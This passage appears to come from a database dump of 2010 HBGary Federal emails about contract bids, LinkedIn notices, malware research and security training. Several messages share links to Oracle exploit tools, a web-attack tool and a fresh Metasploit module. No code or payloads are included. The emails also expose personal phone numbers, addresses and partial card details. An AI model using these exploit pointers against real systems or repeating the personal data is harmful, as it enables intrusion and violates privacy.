\r\n\r\n\r\n\r\n\r\n\r\nDoes that match?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Aug 20, 2010, at 11:05 AM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nCan you confirm that you spoke to Dale briefly and he was\r\nsurprised that we thought there were product requirements?  \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nDo you think this needs to be clarified again... would you\r\nor Aaron like me to schedule a call with Dale?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\nOn Fri, Aug 20, 2010 at 7:47 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\nThis is the contract, work with\r\nAaron to make sure this isn&#39;t your deal\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:adbarr@me.com]\r\nSent: Wednesday, August 11, 2010 6:57 AM\r\nTo: Penny Leavy; Greg Hoglund\r\nCc: Bob Slapnik; Maria Lucas\r\nSubject: TSA ITSSS\r\n\r\nSo here are some of the requirements for the TSA ITSSS contract in FY10.\r\nMost of these capabilities they don&#39;t currently have.  If we win this we\r\nwill be implementing the full suite of HBGary Products (AD, Responder, TMC)\r\nand Palantir and Fidelis.\r\n\r\nDIGITAL FORENSICS:\r\n150 Cases for FY10: 50% of those 2+ weeks effort each.\r\nExpanded support in Program Analysis and E-Discovery.  Support to CI.\r\nTraining Development.\r\nWill develop a malware reverse engineering capability.\r\nWill develop a malware sandbox network.\r\nWill develop advanced processes and procedures to proactively detect\r\nintrusions and compromises.\r\n\r\nCOMPUTER NETWORK DEFENSE:\r\nFY10 addition of remote systems to TSA SOC Monitoring.\r\nBegin security monitoring of the non-OIT managed IT systems and integrate\r\nthem with the IAD IR procedures.\r\nWill develop a cyber intelligence capability.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n \r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10439,'aaron_hbgary_com/10439.html'),(10721,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008269.M322455P14101Q5576.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: From Scott Sheldon and other cybernexus group members on 	LinkedIn','Sent from my iPadBegin forwarded message:From: cybernexus Group Members &lt;group-digests@linkedin.com&gt;\r\nDate: August 20, 2010 6:57:34 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: From Scott Sheldon and other cybernexus group members on LinkedIn\r\n\r\n\r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    cybernexus\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n\r\n        Add a comment  »\r\n\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n	              The presentation will focus on the rise of the social web, convergence of technologies to support the social web, and the implications of...\r\n	                    More »\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n \r\nDon&#39;t want to receive email notifications? Adjust your message settings.\r\n\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion »\r\n \r\n\r\n\r\n\r\n',8342,'aaron_hbgary_com/8342.html'),(10722,'2010-08-20','\"VanPutte, Michael\" <Michael.VanPutte@darpa.mil>','/aaron@hbgary.com/new/1297008269.M574424P14101Q5577.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Cyber Genome','Thanks Aaron - I\'ll forward this to the team.\r\n\r\nMike\r\n\r\n-----Original Message-----\r\nFrom: messages-noreply@bounce.linkedin.com [mailto:messages-noreply@bounce.linkedin.com] On Behalf Of Aaron Barr\r\nSent: Tuesday, August 17, 2010 8:20 PM\r\nTo: VanPutte, Michael\r\nSubject: Cyber Genome\r\n\r\n\r\nLinkedIn\r\n\r\n\r\nAaron Barr has sent you a message.\r\n\r\nDate: 8/17/2010 \r\n\r\nSubject: Cyber Genome \r\n\r\nHi Mike, \r\n\r\nNot sure if you saw any information about HBGary\'s Fingerprint tool so thought I would send you a note. We released the tool as freeware at Blackhat. I think the results are quite startling. Pulling some defined characteristics of malware out across a large set of malware specimens we saw a natural clustering of malware based on common development and author variables. Based on this analysis we concluded the # of malware authors is probably in the 100s vs. 1000s. There is more analysis that needs to be done but I thought this type of analysis might benefit the Genome Project. \r\n\r\nAaron \r\n\r\nView/reply to this message  \r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings  .\r\n\r\n© 2010, LinkedIn Corporation\r\n\r\n',9201,'aaron_hbgary_com/9201.html'),(10723,'2010-08-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008269.M854243P14101Q5578.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Cyber Genome','Rubbing it in a bit...Sent from my iPadBegin forwarded message:From: &quot;VanPutte, Michael&quot; &lt;Michael.VanPutte@darpa.mil&gt;\r\nDate: August 20, 2010 7:28:54 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: Cyber Genome\r\nThanks Aaron - I&#39;ll forward this to the team.Mike-----Original Message-----From: messages-noreply@bounce.linkedin.com [mailto:messages-noreply@bounce.linkedin.com] On Behalf Of Aaron Barr\r\nSent: Tuesday, August 17, 2010 8:20 PMTo: VanPutte, MichaelSubject: Cyber GenomeLinkedIn\r\nAaron Barr has sent you a message.Date: 8/17/2010 Subject: Cyber Genome Hi Mike, Not sure if you saw any information about HBGary&#39;s Fingerprint tool so thought I would send you a note. We released the tool as freeware at Blackhat. I think the results are quite startling. Pulling some defined characteristics of malware out across a large set of malware specimens we saw a natural clustering of malware based on common development and author variables. Based on this analysis we concluded the # of malware authors is probably in the 100s vs. 1000s. There is more analysis that needs to be done but I thought this type of analysis might benefit the Genome Project. \r\nAaron View/reply to this message &lt;http://www.linkedin.com/e/-ebfggk-gczfrjh1-2a/ZJCer-jJW9xMsjIanK1Iu-jaJ9X1yyRLaYptyvO3/mbi/I2273687766_2/&gt; \r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings &lt;http://www.linkedin.com/e/-ebfggk-gczfrjh1-2a/ZJCer-jJW9xMsjIanK1Iu-jaJ9X1yyRLaYptyvO3/blk/I2273687766_2/s6hJbOYWrSlI/mdp/&gt; .\r\n© 2010, LinkedIn Corporation\r\n',7664,'aaron_hbgary_com/7664.html'),(10724,'2010-08-20','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008270.M140868P14101Q5579.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','AppSentry for the Oracle E-Business Suite - Introduction','http://www.integrigy.com/products/appsentry/oracle-applications\r\n\r\nFree evaluation available!\r\n',3879,'aaron_hbgary_com/3879.html'),(10725,'2010-08-20','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008270.M392452P14101Q5580.eml','\"Andrew Fehretdinov\" <afehretdinov@digitalmanagement.com>,\"Barr Aaron\" <aaron@hbgary.com>','Re: Target Rates','I was told to &quot;hold off&quot; for now due to facility security clearance. On Aug 20, 2010, at 8:55 AM, Andrew Fehretdinov &lt;afehretdinov@digitalmanagement.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed – how are you guys doing on target rates?\r\n\r\n \r\n\r\nThanks,\r\n\r\n \r\n\r\nAndrew Fehretdinov\r\n\r\nDirector of Finance &amp; Contracts\r\n\r\nDigital Management, Inc.\r\n\r\nWork: 240-223-4804\r\n\r\nMobile: 703-946-9261\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8609,'aaron_hbgary_com/8609.html'),(10726,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008272.M828860P14101Q5581.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Oracle','Some interesting articles :\r\n\r\nhttp://www.novell.com/communities/node/11753/novell-access-manager-sso-using-identity-injection-oracle-e-business-suite\r\n\r\nPlus attached pdf.\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',8927,'aaron_hbgary_com/8927.html'),(10727,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008273.M249650P14101Q5583.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Obfuscated SQL Injection attacks','Another interesting technique, just posted 8/15/2010\r\n\r\nhttp://isc.sans.edu/diary.html?storyid=9397\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',159,'aaron_hbgary_com/159.html'),(10728,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008273.M48490P14101Q5582.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Oracle Exploit Tools','http://www.youtube.com/watch?v=euujmKDxmC4\r\n\r\n\r\nAnother Tool:\r\n\r\nJust updated today, for web-apps.\r\n\r\nhttp://xsser.sourceforge.net/\r\nhttp://xsser.svn.sourceforge.net/svnroot/xsser/\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7596,'aaron_hbgary_com/7596.html'),(10729,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008273.M517384P14101Q5584.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Oracle Database User Modifier (Without Granted access)','This looks fresh, but it probably won\'t help us.\r\n\r\nhttp://www.astalavista.com/files/file/9120-oracle-database-user-modifier-without-granted-access/\r\n\r\nOracle Database User Modifier (Without Granted access) by Crow\r\n17 August 2010 - 10:54\r\nThis script allows the user to change users in an Oracle database\r\nwithout knowing the password of the user they wish to log in as. To\r\nuse this script you need to be logged in as a dba.\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11981,'aaron_hbgary_com/11981.html'),(10730,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008273.M710015P14101Q5585.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','oracle / java on RH metasploit exploit just posted an hour ago','https://www.metasploit.com/redmine/users/57\r\n\r\n\r\n08/20/2010\r\n11:38 pm Metasploit Framework Revision 10092: Add exploit module for\r\ncve-2010-08040. This is an awesome bug and my description...\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3762,'aaron_hbgary_com/3762.html'),(10731,'2010-08-21','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008273.M929557P14101Q5586.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"David Etue\" <david@etue.net>','Fwd: From Scott Sheldon and other cybernexus group members on LinkedIn','You two might find this saic talk interesting.&nbsp;Sent from my mobile--excuse typos or brevityBegin forwarded message:From: cybernexus Group Members &lt;group-digests@linkedin.com&gt;Date: August 20, 2010 6:57:31 PM EDTTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;Subject: From Scott Sheldon and other cybernexus group members on LinkedIn\r\n\r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    cybernexus\r\n    \r\n      \r\n        Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n        Add a comment  »\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n          \r\n	              The presentation will focus on the rise of the social web, convergence of technologies to support the social web, and the implications of...\r\n	                    More »\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion »\r\n&nbsp;\r\n\r\n\r\n',13476,'aaron_hbgary_com/13476.html'),(10732,'2010-08-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008274.M226310P14101Q5587.eml','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>,\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','Re: From Scott Sheldon and other cybernexus group members on LinkedIn','I\'m the one giving the talk! :)On Aug 21, 2010, at 8:28 AM, Sullivan, Mary wrote:You two might find this saic talk interesting.&nbsp;Sent from my mobile--excuse typos or brevityBegin forwarded message:From: cybernexus Group Members &lt;group-digests@linkedin.com&gt;Date: August 20, 2010 6:57:31 PM EDTTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;Subject: From Scott Sheldon and other cybernexus group members on LinkedIn\r\n\r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    cybernexus\r\n    \r\n      Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n        Add a comment  »\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n	              The presentation will focus on the rise of the social web, convergence of technologies to support the social web, and the implications of...\r\n	                    More »\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;Don\'t want to receive email notifications? Adjust your message settings.LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2010, LinkedIn Corporation.Stop inappropriate content the moment it is posted. Send me an email for each new discussion »\r\n&nbsp;\r\n\r\n\r\n',9237,'aaron_hbgary_com/9237.html'),(10733,'2010-08-21','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008274.M467555P14101Q5588.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: From Scott Sheldon and other cybernexus group members on LinkedIn','Oh wow! Great minds.&nbsp;Sent from my mobile--excuse typos or brevityOn Aug 21, 2010, at 8:46 AM, \"Aaron Barr\" &lt;aaron@hbgary.com&gt; wrote:I\'m the one giving the talk! :)On Aug 21, 2010, at 8:28 AM, Sullivan, Mary wrote:You two might find this saic talk interesting.&nbsp;Sent from my mobile--excuse typos or brevityBegin forwarded message:From: cybernexus Group Members &lt;group-digests@linkedin.com&gt;Date: August 20, 2010 6:57:31 PM EDTTo: Mary Sullivan &lt;mary.sullivan@fidelissecurity.com&gt;Subject: From Scott Sheldon and other cybernexus group members on LinkedIn\r\n\r\n  \r\n    Linkedin GroupsAugust 20, 2010\r\n    cybernexus\r\n    \r\n      Latest:\r\n\r\n            1 discussion\r\n\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n  \r\nDiscussions (1)  \r\n\r\n    \r\n      \r\n        Technical Tuesday - 5 Oct 2010; 1600 - 1730; The Rise of the Social Web\r\n        Add a comment  »\r\n      \r\n\r\n        Started by Scott Sheldon, VP, Senior Account Executive at SAIC\r\n        \r\n	              The presentation will focus on the rise of the social web, convergence of technologies to support the social web, and the implications of...\r\n	                    More »\r\n                By Scott Sheldon, VP, Senior Account Executive at SAIC\r\n           \r\n          \r\n    \r\n\r\n\r\n\r\n\r\n&nbsp;Don\'t want to receive email notifications? Adjust your message settings.LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2010, LinkedIn Corporation.Stop inappropriate content the moment it is posted. Send me an email for each new discussion »\r\n&nbsp;\r\n\r\n\r\n',10956,'aaron_hbgary_com/10956.html'),(10734,'2010-08-21','\"LinkedIn Receipts\" <Receipts@linkedin.com>','/aaron@hbgary.com/new/1297008274.M801039P14101Q5589.eml','\"Aaron Barr\" <aaron@hbgary.com>','Receipt for LinkedIn Purchase','\r\n\r\n  \r\n\r\n\r\n\r\n  Thank you for your purchase. Here is the receipt for your transaction.\r\n\r\n  \r\n    \r\n      \r\n      2029 Stierlin Ct, Mountain View, CA 94043 USACorporate Federal Tax ID: 47-0912023\r\n    \r\n  \r\n\r\n  \r\n    \r\n      Sold to:\r\n      \r\n        Aaron&nbsp;Barr\r\n        HBGary Federal 1223 Potomac School Rd\r\n         Mclean, va 22101 719.510.8478 \r\n      \r\n        Date: 8/21/2010\r\n        Order ID: 11745153 \r\n    \r\n  \r\n\r\n  \r\n    \r\n      Product Description\r\n      Qty\r\n      Rate\r\n      Price\r\n    \r\n\r\n      \r\n        \r\n          Business account: From August 15, 2010 to September 14, 2010\r\n        \r\n        1\r\n        $24.95\r\n        $24.95\r\n      \r\n\r\n  \r\n\r\n  \r\n    \r\n      Sub Total\r\n      $24.95\r\n    \r\n    \r\n      Amount Paid\r\n      $24.95\r\n    \r\n    \r\n      Balance Due\r\n      $0.00\r\n    \r\n  \r\n\r\n  $24.95 was billed to your Mastercard card ending in 2882 on 8/21/2010.\r\n  Transaction ID: 4378109\r\n\r\n  \r\n  \r\n\r\n  &copy; 2010 LinkedIn Corporation\r\n\r\n\r\n\r\n\r\n',744,'aaron_hbgary_com/744.html'),(10735,'2010-08-21','\"Twitter\" <twitter-follow-federal=hbgary.com@postmaster.twitter.com>','/aaron@hbgary.com/new/1297008275.M285794P14101Q5591.eml','federal@hbgary.com','Joseph Pizzo is now following you on Twitter!','\r\n\r\n  \r\n    \r\n      \r\n      \r\n      \r\n      \r\n        \r\n      \r\n      \r\n        \r\n  Joseph Pizzo (@josephpizzo) is now following your tweets (@HBGaryFed) on Twitter.\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      Joseph Pizzo\r\n      @josephpizzo\r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    Bio misogynistic, charismatic, diplomatic, automatic, hydrostatic, energetic greased lightning type of a guy\r\n  \r\n\r\n\r\n  \r\n    \r\n        143\r\n        55\r\n        13\r\n\r\n    \r\n    \r\n      tweets\r\n      following\r\n      followers\r\n\r\n    \r\n  \r\n\r\n\r\n\r\n\r\n\r\n\r\n  You do not follow Joseph Pizzo.\r\n\r\nWhat\'s Next?\r\n\r\n  \r\n    &bull;\r\n    Find out more about Joseph Pizzo on @josephpizzo\'s profile page.\r\n  \r\n    &bull;\r\n    Send Joseph Pizzo an @ reply.\r\n  \r\n    &bull;\r\n    Send Joseph Pizzo a direct message.\r\n  \r\n    \r\n    On your mobile? Learn Twitter for Mobile.\r\n  \r\n  \r\n\r\n  If you believe Joseph Pizzo is engaging in abusive behavior on Twitter, you may report Joseph Pizzo for spam.\r\n\r\n\r\n  \r\n\r\n\r\n\r\n\r\n  \r\n  If you\'d rather not receive follow notification emails from Twitter, you can unsubscribe immediately. To resubscribe or change other Twitter email preferences, visit your account settings to manage email notices.\r\n\r\n\r\n\r\n  Please do not reply to this message; it was sent from an unmonitored email address.  This message is a service email related to your use of Twitter.  For general inquiries or to request support with your Twitter account, please visit us at Twitter Support.\r\n\r\n\r\n\r\n\r\n      \r\n    \r\n  \r\n\r\n\r\n',14766,'aaron_hbgary_com/14766.html'),(10736,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008275.M500437P14101Q5592.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Social Media Security Awareness Training for DigitalGlobe','Begin forwarded message:From: &quot;Daniel Collender&quot; &lt;dcollend@digitalglobe.com&gt;\r\nDate: August 21, 2010 12:14:05 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Social Media Security Awareness Training for DigitalGlobe\r\n\r\n\r\n\r\n\r\nHi Ted,\r\n\r\n \r\n\r\nBrian Coulson briefed me on the many HB Gary training/awareness\r\noptions available to organizations like DigitalGlobe a few weeks back.\r\n\r\n \r\n\r\nBrian is working closely with Maria on the technology\r\nsolutions front, so I was hoping I could work with you on the training/awareness\r\nfront.\r\n\r\n \r\n\r\nDigitalGlobe is currently developing security awareness\r\ntraining for all company personnel. We do of course have mandatory security\r\ntraining for our cleared personnel, but need to begin  bringing the\r\nuncleared folks up to speed as well.\r\n\r\n \r\n\r\nI would like to organize a series of  mandatory “Security\r\nAwareness” briefings for all company personnel (about 600 people\r\ncurrently, the majority of which are in two facilities in Longmont, CO). The\r\ninitial session would focus on Social Media Threats ( with some emphasis on\r\nPhishing/Spear Phishing/Spam). It is critical that we use this training\r\nopportunity to convey the seriousness of the threat to our staff and I would\r\nappreciate some help from your team to ensure are accomplish that goal. I would\r\nlike to go as far as using a real world example (perhaps myself or someone from\r\nmy team) to demonstrate how recognizance can be performed by a bad actor\r\nagainst a DigitalGlobe employee and the information gathered can be used to\r\ninfiltrate the company through social engineering, spear phishing, etc…. Also,\r\nwe are working on developing policy in this area so we could integrate the new\r\npolicy into the sessions.\r\n\r\n \r\n\r\nMy original thought was to have a series of one or two hour\r\nsessions (is that enough time?) divided into Class and Unclass. This way we can\r\nintroduce classified content, if available, into the classified only sessions.  \r\n\r\n \r\n\r\nI am also interested in the full-day training and executive\r\nbriefings, but the urgent need is to get the entire DigitalGlobe user\r\npopulation trained on how they can protect the company and themselves from\r\nthese types of threats.\r\n\r\n \r\n\r\nWould you have sometime early next week to discuss possible\r\noptions?\r\n\r\n \r\n\r\nThanks so much for your time.\r\n\r\n \r\n\r\nBest,\r\n\r\nDan Collender\r\n\r\nManager, IT Security &amp; Compliance\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8850,'aaron_hbgary_com/8850.html'),(10737,'2010-08-21','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008275.M56679P14101Q5590.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Michael G. has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Michael G. are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Michael G. Spohn \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Director - Security Consulting at HBGary, Inc.\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Michael G.\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Sacramento, California Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          mspohn@cox.net\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Michael G.\'s Connections (151) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Brian Peterson\r\n                ,\r\n                  Director of Security at Global Cash Card\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Darlene (Carver) Baker\r\n                ,\r\n                  Product Management - Software\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jon Baumgardner\r\n                ,\r\n                  Complex Application Integrator\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Salvidor Gandara\r\n                ,\r\n                  Senior Software Engineer at Tickets.com\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Michael G.\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Foundstone\r\n                    \r\n                      Michael G. worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     HireRight\r\n                    \r\n                      Michael G. worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Unisys\r\n                    \r\n                      Michael G. worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Verizon Business\r\n                    \r\n                      Michael G. knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',5555,'aaron_hbgary_com/5555.html'),(10738,'2010-08-21','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297008275.M731635P14101Q5593.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Reconnect','Aaron,\r\n&nbsp;\r\n&nbsp;\r\nGreat to hear from you.&nbsp; Thank you for the email info.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________--- On Fri, 8/20/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: ReconnectTo: \"Dr. Paul Nemirovsky\" &lt;pauln@jdn-int.com&gt;Date: Friday, August 20, 2010, 11:40 AM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 8/20/2010 \r\nSubject: RE: Reconnect \r\nHi Paul, I am doing well thanks for asking. Likewise I hope all is well with you. Sure. Bills email is Bill.varner@mantech.com Take care, Aaron On 08/19/10 3:26 PM, Dr. Paul Nemirovsky wrote: -------------------- Aaron: How are you? I hope you and your firm are doing well. I would like to reconnect with Bill Varner at ManTech. Do you have his email? Thank you. Paul \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? 